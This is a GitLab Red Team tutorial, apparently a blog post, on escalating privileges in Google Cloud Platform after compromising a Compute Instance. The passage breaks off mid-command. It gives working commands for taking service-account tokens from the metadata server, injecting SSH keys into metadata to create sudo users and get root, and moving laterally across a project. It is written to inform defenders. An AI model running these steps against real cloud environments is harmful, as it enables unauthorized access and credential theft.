[{"data":1,"prerenderedAt":720},["ShallowReactive",2],{"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/":3,"navigation-en-us":36,"banner-en-us":465,"footer-en-us":482,"Chris Moberly":692,"next-steps-en-us":705},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":16,"config":26,"_id":29,"_type":30,"title":31,"_source":32,"_file":33,"_stem":34,"_extension":35},"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","blog",false,"",{"title":9,"description":10,"ogTitle":9,"ogDescription":10,"noIndex":6,"ogImage":11,"ogUrl":12,"ogSiteName":13,"ogType":14,"canonicalUrls":12,"schema":15},"Google Cloud privilege escalation & post-exploitation tactics","A Red Team exercise on exploiting design decisions on GCP.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672755/Blog/Hero%20Images/white-lightning-heating-mountain.jpg","https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2020-02-12\",\n      }",{"title":17,"description":10,"authors":18,"heroImage":11,"date":20,"body":21,"category":22,"tags":23},"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments",[19],"Chris Moberly","2020-02-12","## Update\n\n\n_At GitLab we have an internal [Red\nTeam](https://handbook.gitlab.com/handbook/security/threat-management/red-team/) that dedicates time\nlooking at the services and business partners we use to deliver GitLab\nproducts and services. As a [Google Cloud customer,](/blog/moving-to-gcp/)\nwe have an obvious interest in all the different ways that administrators\ncan make devastating security related mistakes when configuring their\nenvironment. We also have a team goal of sharing our research and tooling\nwhen possible with the community. This blog post and our previous post,\n[Introducing Token Hunter, an open source tool for finding sensitive data in\nthe vast, wide-open,](/blog/introducing-token-hunter/) are our attempts to\nshare our knowledge with the broader security community - for our mutual\nbenefit._\n\n\n_This post does not outline any new vulnerabilities in Google Cloud Platform\nbut outlines ways that an attacker who has already gained an unprivileged\nfoothold on a cloud instance may perform reconnaissance, privilege\nescalation and eventually complete compromise of an environment._\n\n\n## Introduction\n\n\nWe recently embarked on a journey to simulate malicious activity in Google\nCloud Platform (GCP). The idea was to begin with the low-privilege\ncompromise of a Linux virtual machine, and then attempt to escalate\nprivileges and access sensitive data throughout the environment.\n\n\nThe problem? There just isn't a lot of information available about GCP\nwritten from an attacker's perspective. We set out to learn as much as we\ncould about Google Cloud and how an attacker might work to abuse common\ndesign decisions. Now, we are sharing that information with you! I'll also\nbe presenting this talk, [Plundering GCP – escalating privileges, moving\nlaterally and stealing secrets in Google\nCloud](https://www.bsidesmelbourne.com/2020-plundering-gcp.html), in March\n2020 at BSides Melbourne.\n\n\nIn this tutorial, we will do a very deep-dive into manual post-exploitation\ntactics and techniques for GCP. The specific scenario we are addressing here\nis the compromise of a single Linux-based virtual machine running within the\nCompute Engine offering. The goal is to elevate local privileges to a root\naccount, compromise other systems within the same Google Cloud\n[Project](https://cloud.google.com/storage/docs/projects), break out of that\nproject into others, and even hop the fence over to G Suite if possible.\n\n\nWe'll also go into specific detail on how to interact with a slew of\nGoogle's cloud services to hunt for secrets and exfiltrate sensitive data.\n\n\nIf you're tasked with defending infrastructure in Google Cloud, this\ntutorial should give you a good idea of what an attacker may get up to and\nthe types of activities you should be looking out for.\n\n\nThis blog also introduces several utilities targeting GCP environments:\n\n\n-\n[gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum):\nGenerate targeted port scans for Compute Instances exposed to the internet.\n\n- [gcp_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum):\nMost of the enumeration commands in this blog, consolidated to a single\nscript.\n\n- [gcp_misc](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc):\nVarious tools for attacking GCP environments.\n\n\n*No shell? No problem! Most of these techniques can used with SSRF as well.\nCheck out the [Leveraging SSRF](#leveraging-ssrf) appendix for more info.*\n\n\n## Basic background info\n\n\nGCP is a big beast with a ton of moving parts. Here is a bit of background\non items that are most relevant to the breach of a Compute Instance.\n\n\n### Tools\n\n\n#### gcloud\n\n\nIt is likely that the box you land on will have the [GCP SDK\ntools](https://cloud.google.com/sdk/docs/) installed and configured. A quick\nway to verify that things are set up is to run the following command:\n\n\n```\n\n$ gcloud config list\n\n```\n\n\nIf properly configured, you should get some output detailing the current\nservice account and project in use.\n\n\nThe [gcloud command set](https://cloud.google.com/sdk/gcloud/reference/) is\npretty extensive, supports tab completion, and has excellent online and\nbuilt-in documentation. You can also install it locally on your own machine\nand use it with credential data that you obtain.\n\n\n#### Cloud APIs\n\n\nThe `gcloud` command is really just a way of automating [Google Cloud\nAPI](https://cloud.google.com/apis/docs/overview) calls. However, you can\nalso perform them manually. Understanding the API endpoints and\nfunctionality can be very helpful when you're operating with a very specific\nset of permissions, and trying to work out exactly what you can do.\n\n\nYou can see what the raw HTTP API call for any individual `gcloud` command\nis simply by appending `--log-http` to the command.\n\n\n#### Metadata endpoint\n\n\nEvery Compute Instance has access to a dedicated [metadata\nserver](https://cloud.google.com/compute/docs/storing-retrieving-metadata)\nvia the IP address 169.254.169.254. You can identify it as a host file entry\nlike the one below:\n\n\n```\n\n$ cat /etc/hosts\n\n[...]\n\n169.254.169.254 metadata.google.internal  # Added by Google\n\n```\n\n\nThis metadata server allows any processes running on the instance to query\nGoogle for information about the instance it runs on and the project it\nresides in. No authentication is required - default `curl` commands will\nsuffice.\n\n\nFor example, the following command will return information specific to the\nCompute Instance it is run from.\n\n\n```\n\n$ curl\n\"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\"\n\\\n    -H \"Metadata-Flavor: Google\"\n```\n\n\n### Security concepts\n\n\nWhat you can actually do from within a compromised instance is the resultant\ncombination of service accounts, access scopes, and IAM permissions. These\nare described below.\n\n\n#### Resource hierarchy\n\n\nGoogle Cloud uses a [Resource\nhierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)\nthat is similar, conceptually, to that of a traditional filesystem. This\nprovides a logical parent/child workflow with specfic attachment points for\npolicies and permissions.\n\n\nAt a high level, it looks like this:\n\n\n```\n\nOrganization\n\n--> Folders\n  --> Projects\n    --> Resources\n```\n\n\nThe scenario this blog addresses is the compromise of a virtual machine\n(called a Compute Instance), which is a resource. This resource resides in a\nproject, probably alongside other Compute Instances, storage buckets, etc.\n\n\nWe will work to compromise as much as we can inside that project, and then\neventually to branch out into other projects within the same organization. A\nfull compromise of the organization itself would be great, but gaining\naccess to confidential assets may be possible simply by exploring the\nresources in a single project.\n\n\n#### Service accounts\n\n\nVirtual machine instances are usually assigned a service account. Every GCP\nproject has a [default service\naccount](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account),\nand this will be assigned to new Compute Instances unless otherwise\nspecified. Administrators can choose to use either a custom account or no\naccount at all. This service account can be used by any user or application\non the machine to communicate with the Google APIs. You can run the\nfollowing command to see what accounts are available to you:\n\n\n```\n\n$ gcloud auth list\n\n```\n\n\nDefault service accounts will look like one of the following:\n\n\n```\n\nPROJECT_NUMBER-compute@developer.gserviceaccount.com\n\nPROJECT_ID@appspot.gserviceaccount.com\n\n```\n\n\nMore savvy administrators will have configured a custom service account to\nuse with the instance. This allows them to be more granular with\npermissions.\n\n\nA custom service account will look like this:\n\n\n```\n\nSERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com\n\n```\n\n\nIf `gcloud auth list` returns multiple accounts available, something\ninteresting is going on. You should generally see only the service account.\nIf there is more than one, you can cycle through each using `gcloud config\nset account [ACCOUNT]` while trying the various tasks in this blog.\n\n\n#### Access scopes\n\n\nThe service account on a GCP Compute Instance will use OAuth to communicate\nwith the Google Cloud APIs. When [access\nscopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam)\nare used, the OAuth token that is generated for the instance will have a\n[scope](https://oauth.net/2/scope/) limitation included. This defines what\nAPI endpoints it can authenticate to. It does NOT define the actual\npermissions.\n\n\nWhen using a custom service account, Google\n[recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions)\nthat access scopes are not used and to rely totally on IAM. The web\nmanagement portal actually enforces this, but access scopes can still be\napplied to instances using custom service accounts programatically.\n\n\nThere are three options when setting an access scope on a VM instance:\n\n- Allow default access\n\n- All full access to all cloud APIs\n\n- Set access for each API\n\n\nYou can see what scopes are assigned by querying the metadata URL. Here is\nan example from a VM with \"default\" access assigned:\n\n\n```\n\n$ curl\nhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes\n\\\n    -H 'Metadata-Flavor:Google'\n\nhttps://www.googleapis.com/auth/devstorage.read_only\n\nhttps://www.googleapis.com/auth/logging.write\n\nhttps://www.googleapis.com/auth/monitoring.write\n\nhttps://www.googleapis.com/auth/servicecontrol\n\nhttps://www.googleapis.com/auth/service.management.readonly\n\nhttps://www.googleapis.com/auth/trace.append\n\n```\n\n\nThe most interesting thing in the default scope is `devstorage.read_only`.\nThis grants read access to all storage buckets in the project. This can be\ndevastating, which of course is great for us as an attacker.\n\n\nHere is what you'll see from an instance with no scope limitations:\n\n\n```\n\n$ curl\nhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes\n-H 'Metadata-Flavor:Google'\n\nhttps://www.googleapis.com/auth/cloud-platform\n\n```\n\n\nThis `cloud-platform` scope is what we are really hoping for, as it will\nallow us to authenticate to any API function and leverage the full power of\nour assigned IAM permissions. It is also Google's recommendation as it\nforces administrators to choose only necessary permissions, and not to rely\non access scopes as a barrier to an API endpoint.\n\n\nIt is possible to encounter some conflicts when using both IAM and access\nscopes. For example, your service account may have the IAM role of\n`compute.instanceAdmin` but the instance you've breached has been crippled\nwith the scope limitation of\n`https://www.googleapis.com/auth/compute.readonly`. This would prevent you\nfrom making any changes using the OAuth token that's automatically assigned\nto your instance.\n\n\n#### Identify and access management (IAM)\n\n\nIAM permissions are used for fine-grained access control. There are [a\nlot](https://cloud.google.com/iam/docs/permissions-reference) of them. The\npermissions are bundled together using three types of\n[roles](https://cloud.google.com/iam/docs/understanding-roles):\n\n\n- Primitive roles: Owner, Editor, and Viewer. These are the old-school way\nof doing things. The default service account in every project is assigned\nthe Editor role. This is insecure and we love it.\n\n- Predefined roles: These roles are managed by Google and are meant to be\ncombinations of most-likely scenarios. One of our favorites is the\n`compute.instanceAdmin` role, as it allows for easy privilege escalation.\n\n- Custom roles: This allows admins to group their own set of granular\npermissions.\n\n\nAs of this writing, there are 2,574 fine-grained permissions in IAM. These\nindividual permissions are bundled together into a role. A role is connected\nto a member (user or service account) in what Google calls a\n[binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding).\nFinally, this binding is applied at some level of the GCP hiearchy via a\n[policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).\n\n\nThis policy determines what actions are allowed - it is the intersection\nbetween accounts, permissions, resources, and (optionally) conditions.\n\n\nYou can try the following command to specifically enumerate roles assigned\nto your service account project-wide in the current project:\n\n\n```\n\n$ PROJECT=$(curl\nhttp://metadata.google.internal/computeMetadata/v1/project/project-id \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ ACCOUNT=$(curl\nhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email\n\\\n    -H \"Metadata-Flavor: Google\" -s)\n$ gcloud projects get-iam-policy $PROJECT  \\\n    --flatten=\"bindings[].members\" \\\n    --format='table(bindings.role)' \\\n    --filter=\"bindings.members:$ACCOUNT\"\n```\n\n\nDon't worry too much if you get denied access to the command above. It's\nstill possible to work out what you can do simply by trying to do it.\n\n\nMore generally, you can shorten the command to the following to get an idea\nof the roles assigned project-wide to all members.\n\n\n```\n\n$ gcloud projects get-iam-policy [PROJECT-ID]\n\n```\n\n\nOr to see the IAM policy [assigned to a single Compute\nInstance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy)\nyou can try the following.\n\n\n```\n\n$ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]\n\n```\n\n\nThere are similar commands for various other APIs. Consult the documentation\nif you need one other than what is shown above.\n\n\n### Default credentials\n\n\n#### Default service account token\n\n\nThe metadata server available to a given instance will provide any\nuser/process on that instance with an OAuth token that is automatically used\nas the default credentials when communicating with Google APIs via the\n`gcloud` command.\n\n\nYou can retrieve and inspect the token with the following curl command:\n\n\n```\n\n$ curl\n\"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\"\n\\\n    -H \"Metadata-Flavor: Google\"\n```\n\n\nWhich will receive a response like the following:\n\n\n```\n\n{\n      \"access_token\":\"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA\",\n      \"expires_in\":3599,\n      \"token_type\":\"Bearer\"\n }\n```\n\n\nThis token is the combination of the service account and access scopes\nassigned to the Compute Instance. So, even though your service account may\nhave every IAM privilege imaginable, this particular OAuth token might be\nlimited in the APIs it can communicate with due to access scopes.\n\n\n#### Application default credentials\n\n\nAs an alternative to first pulling a token from the metadata server, Google\nalso has a strategy called [Application Default\nCredentials](https://cloud.google.com/docs/authentication/production). When\nusing one of Google's official GCP client libraries, the code will\nautomatically go searching for credentials to use in a defined order.\n\n\nThe very first location it would check would be the [source code\nitself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code).\nDevelopers can choose to statically point to a service account key file.\n\n\nThe next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`.\nThis can be set to point to a service account key file. Look for the\nvariable itself set in the context of a system account or for references to\nsetting it in scripts and instance metadata.\n\n\nFinally, if neither of these are provided, the application will revert to\nusing the default token provided by the metadata server as described in the\nsection above.\n\n\nFinding the actual JSON file with the service account credentials is\ngenerally much more desirable than relying on the OAuth token on the\nmetadata server. This is because the raw service account credentials can be\nactivated without the burden of access scopes and without the short\nexpiration period usually applied to the tokens.\n\n\n## Local privilege escalation\n\n\nThis section will provide some tips on quick wins for local privilege\nescalation. If they work right away, great! While getting root locally seems\nlike a logical starting point, though, hacking in the real world is rarely\nthis organized. You may find that you need to jump ahead and grab additional\nsecrets from a later step before you can escalate with these methods.\n\n\nDon't feel discouraged if you can't get local root right away - keep reading\nand follow the path that naturally unfolds.\n\n\n### Follow the scripts!\n\n\nCompute Instances are there to do things. To do things in Google, they will\nuse their service accounts. And to do things with those service accounts,\nthey likely use scripts!\n\n\nOften, we'll find ourselves on a Compute Instance and fail to enumerate\nthings like available storage buckets, crypto keys, other instances, etc.,\ndue to permission denied errors. IAM permissions are very granular, meaning\nyou can grant permissions to individual resources without granting the\npermission to list what those resources are.\n\n\nA great hypothetical example of this is a Compute Instance that has\npermission to read/write backups to a storage bucket called\n`instance82736-long-term-xyz-archive-0332893`.\n\n\nRunning `gsutil ls` from the command line returns nothing, as the service\naccount is lacking the `storage.buckets.list` IAM permission. However, if\nyou ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may\nfind a complete filesystem backup, giving you clear-text access to data that\nyour local Linux account lacks.\n\n\nBut how would you know to list the contents of that very-specific bucket\nname? While brute-forcing buckets is a good idea, there is no way you'd find\nthat in a word list.\n\n\nBut, the instance is somehow backing up to it. Probably using a script!\n\n\nLook for references to the `gcloud` command in scripts within the instance's\nmetadata, local filesystem, service unit files, etc. You may also find\nPython, Ruby, PHP, etc scripts using their own [GCP client\nlibraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that\nleverage the service account's permissions to get things done.\n\n\nScripts in general help you understand what the machine is meant to do and\nwill help you in identifying ways to abuse that intended functionality.\n\n\n### Modifying the metadata\n\n\nIf you can modify the instance's metadata, there are numerous ways to\nescalate privileges locally. There are a few scenarios that can lead to a\nservice account with this permission:\n\n\n*Default service account*\u003Cbr>\n\nWhen using the default service account, the web management console offers\nthe following options for access scopes:\n\n\n- Allow default access (default)\n\n- Allow full access to all Cloud APIs\n\n- Set access for each API\n\n\nIf option 2 was selected, or option 3 while explicitly allowing access to\nthe compute API, then this configuration is vulnerable to escalation.\n\n\n*Custom service account*\u003Cbr>\n\nWhen using a custom service account, one of the following IAM permissions is\nnecessary to escalate privileges:\n\n\n- compute.instances.setMetadata (to affect a single instance)\n\n- compute.projects.setCommonInstanceMetadata (to affect all instances in the\nproject)\n\n\nAlthough Google\n[recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance)\nnot using access scopes for custom service accounts, it is still possible to\ndo so. You'll need one of the following access scopes:\n\n\n- https://www.googleapis.com/auth/compute\n\n- https://www.googleapis.com/auth/cloud-platform\n\n\n#### Add SSH keys to custom metadata\n\n\nLinux systems on GCP will typically be running [Python Linux Guest\nEnvironment for Google Compute\nEngine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts)\nscripts. One of these is the [accounts\ndaemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts),\nwhich periodically queries the instance metadata endpoint for changes to the\nauthorized SSH public keys.\n\n\nIf a new public key is encountered, it will be processed and added to the\nlocal machine. Depending on the format of the key, it will either be added\nto the `~/.ssh/authorized_keys` file of an existing user or will create a\nnew user with `sudo` rights.\n\n\nSo, if you can modify custom instance metadata with your service account,\nyou can escalate to root on the local system by gaining SSH rights to a\nprivileged account. If you can modify custom project metadata, you can\nescalate to root on any system in the current GCP project that is running\nthe accounts daemon.\n\n\n##### Add SSH key to existing privileged user\n\n\nLet's start by adding our own key to an existing account, as that will\nprobably make the least noise. You'll want to be careful not to wipe out any\nkeys that already exist in metadata, as that may tip your target off.\n\n\nCheck the instance for existing SSH keys. Pick one of these users as they\nare likely to have sudo rights.\n\n\n```\n\n$ gcloud compute instances describe [INSTANCE] --zone [ZONE]\n\n```\n\n\nLook for a section like the following:\n\n\n```\n ...\n metadata:\n   fingerprint: QCZfVTIlKgs=\n   items:\n   ...\n   - key: ssh-keys\n     value: |-\n       alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\n       bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\n ...\n```\n\n\nNotice the slightly odd format of the public keys - the username is listed\nat the beginning (followed by a colon) and then again at the end. We'll need\nto match this format. Unlike normal SSH key operation, the username\nabsolutely matters!\n\n\nSave the lines with usernames and keys in a new text file called `meta.txt`.\n\n\nLet's assume we are targeting the user `alice` from above. We'll generate a\nnew key for ourselves like this:\n\n\n```\n\n$ ssh-keygen -t rsa -C \"alice\" -f ./key -P \"\" && cat ./key.pub\n\n```\n\n\nTake the output of the command above and use it to add a line to the\n`meta.txt` file you create above, ensuring to add `alice:` to the beggining\nof your new public key.\n\n\n`meta.txt` should now look something like this, including the existing keys\nand the new key you just generated:\n\n\n```\n\nalice:ssh-rsa\nAAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ\nalice\n\nbob:ssh-rsa\nAAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF\nbob\n\nalice:ssh-rsa\nAAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb\nalice\n\n```\n\n\nNow, you can re-write the SSH key metadata for your instance with the\nfollowing command:\n\n\n```\n\n$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file\nssh-keys=meta.txt\n\n```\n\n\nYou can now access a shell in the context of `alice` as follows:\n\n\n```\n\nlowpriv@instance:~$ ssh -i ./key alice@localhost\n\nalice@instance:~$ sudo id\n\nuid=0(root) gid=0(root) groups=0(root)\n\n```\n\n\n##### Create a new privileged user\n\n\nNo existing keys found when following the steps above? No one else\ninteresting in `/etc/passwd` to target?\n\n\nYou can follow the same process as above, but just make up a new username.\nThis user will be created automatically and given rights to `sudo`.\nScripted, the process would look like this:\n\n\n```\n\n# define the new account username\n\nNEWUSER=\"definitelynotahacker\"\n\n\n# create a key\n\nssh-keygen -t rsa -C \"$NEWUSER\" -f ./key -P \"\"\n\n\n# create the input meta file\n\nNEWKEY=\"$(cat ./key.pub)\"\n\necho \"$NEWUSER:$NEWKEY\" > ./meta.txt\n\n\n# update the instance metadata\n\ngcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file\nssh-keys=meta.txt\n\n\n# ssh to the new account\n\nssh -i ./key \"$NEWUSER\"@localhost\n\n```\n\n##### Grant sudo to existing session\n\nThis one is so easy, quick, and dirty that it feels wrong...\n\n\n```\n\n$ gcloud compute ssh [INSTANCE NAME]\n\n```\n\n\nThis will generate a new SSH key, add it to your existing user, and add your\nexisting username to the `google-sudoers` group, and start a new SSH\nsession. While it is quick and easy, it may end up making more changes to\nthe target system than the previous methods.\n\n\nWe'll talk about this again for lateral movement, but it works perfectly\nfine for local privilege escalation as well.\n\n\n##### Using OS Login\n\n\n[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative\nto managing SSH keys. It links a Google user or service account to a Linux\nidentity, relying on IAM permissions to grant or deny access to Compute\nInstances.\n\n\nOS Login is\n[enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin)\nat the project or instance level using the metadata key of `enable-oslogin =\nTRUE`.\n\n\nOS Login with two-factor authentication is\n[enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication)\nin the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.\n\n\nThe following two IAM permissions control SSH access to instances with OS\nLogin enabled. They can be applied at the project or instance level:\n\n\n- roles/compute.osLogin (no sudo)\n\n- roles/compute.osAdminLogin (has sudo)\n\n\nUnlike managing only with SSH keys, these permissions allow the\nadministrator to control whether or not `sudo` is granted.\n\n\nIf you're lucky, your service account has these permissions. You can simply\nrun the `gcloud compute ssh [INSTANCE]` command to [connect manually as the\nservice\naccount](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual).\nTwo-factor is only enforced when using user accounts, so that should not\nslow you down even if it is assigned as shown above.\n\n\nSimilar to using SSH keys from metadata, you can use this strategy to\nescalate privileges locally and/or to access other Compute Instances on the\nnetwork.\n\n\n## Lateral movement\n\n\nYou've compromised one VM inside a project. Great! Now let's get some\nmore...\n\n\nYou can try the following command to get a list of all instances in your\ncurrent project:\n\n\n```\n\n$ gcloud compute instances list\n\n```\n\n\n### SSH'ing around\n\n\nYou can use the local privilege escalation tactics above to move around to\nother machines. Read through those sections for a detailed description of\neach method and the associated commands.\n\n\nWe can expand upon those a bit by [applying SSH keys at the project\nlevel](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide),\ngranting you permission to SSH into a privileged account for any instance\nthat has not explicitly chosen the \"Block project-wide SSH keys\" option.\n\n\nAfter you've identified the strategy for selecting or creating a new user\naccount, you can use the following syntax.\n\n\n```\n\n$ gcloud compute project-info add-metadata --metadata-from-file\nssh-keys=meta.txt\n\n```\n\n\nIf you're really bold, you can also just type `gcloud compute ssh\n[INSTANCE]` to use your current username on other boxes.\n\n\n### Abusing networked services\n\n\n#### Some GCP networking tidbits\n\n\nCompute Instances are connected to networks called VPCs or [Virtual Private\nClouds](https://cloud.google.com/vpc/docs/vpc). [GCP\nfirewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at\nthis network level but are applied individually to a Compute Instance. Every\nnetwork, by default, has two [implied firewall\nrules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules):\nallow outbound and deny inbound.\n\n\nEach GCP project is provided with a VPC called `default`, which applies the\nfollowing rules to all instances:\n\n\n- default-allow-internal (allow all traffic from other instances on the\n`default` network)\n\n- default-allow-ssh (allow 22 from everywhere)\n\n- default-allow-rdp (allow 3389 from everywhere)\n\n- default-allow-icmp (allow ping from everywhere)\n\n\n#### Meet the neighbors\n\n\nFirewall rules may be more permissive for internal IP addresses. This is\nespecially true for the default VPC, which permits all traffic between\nCompute Instances.\n\n\nYou can get a nice readable view of all the subnets in the current project\nwith the following command:\n\n\n```\n\n$ gcloud compute networks subnets list\n\n```\n\n\nAnd an overview of all the internal/external IP addresses of the Compute\nInstances using the following:\n\n\n```\n\n$ gcloud compute instances list\n\n```\n\n\nIf you go crazy with nmap from a Compute Instance, Google will notice and\nwill likely send an alert email to the project owner. This is more likely to\nhappen if you are scanning public IP addresses outside of your current\nproject. Tread carefully.\n\n\n#### Enumerating public ports\n\n\nPerhaps you've been unable to leverage your current access to move through\nthe project internally, but you DO have read access to the compute API. It's\nworth enumerating all the instances with firewall ports open to the world -\nyou might find an insecure application to breach and hope you land in a more\npowerful position.\n\n\nIn the section above, you've gathered a list of all the public IP addresses.\nYou could run nmap against them all, but this may taken ages and could get\nyour source IP blocked.\n\n\nWhen attacking from the internet, the default rules don't provide any quick\nwins on properly configured machines. It's worth checking for password\nauthentication on SSH and weak passwords on RDP, of course, but that's a\ngiven.\n\n\nWhat we are really interested in is other firewall rules that have been\nintentionally applied to an instance. If we're lucky, we'll stumble over an\ninsecure application, an admin interface with a default password, or\nanything else we can exploit.\n\n\n[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied\nto instances via the following methods:\n\n\n- [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)\n\n- [Service\naccounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)\n\n- All instances within a VPC\n\n\nUnfortunately, there isn't a simple `gcloud` command to spit out all Compute\nInstances with open ports on the internet. You have to connect the dots\nbetween firewall rules, network tags, services accounts, and instances.\n\n\nWe've automated this completely using [this python\nscript](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum)\nwhich will export the following:\n\n\n- CSV file showing instance, public IP, allowed TCP, allowed UDP\n\n- nmap scan to target all instances on ports ingress allowed from the public\ninternet (0.0.0.0/0)\n\n- masscan to target the full TCP range of those instances that allow ALL TCP\nports from the public internet (0.0.0.0/0)\n\n\nFull documentation on that tool is availabe in the\n[README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).\n\n\n## Cloud privilege escalation\n\n\nIn this section, we'll talk about ways to potentially increase our\nprivileges within the cloud environment itself.\n\n\n### Organization-level IAM permissions\n\n\nMost of the commands in this blog focus on obtaining project-level data.\nHowever, it's important to know that permissions can be set at the highest\nlevel of \"Organization\" as well. If you can enumerate this info, this will\ngive you an idea of which accounts may have access across all of the\nprojects inside an org.\n\n\nThe following commands will list the policies set at this level:\n\n\n```\n\n# First, get the numeric organization ID\n\n$ gcloud organizations list\n\n\n# Then, enumerate the policies\n\n$ 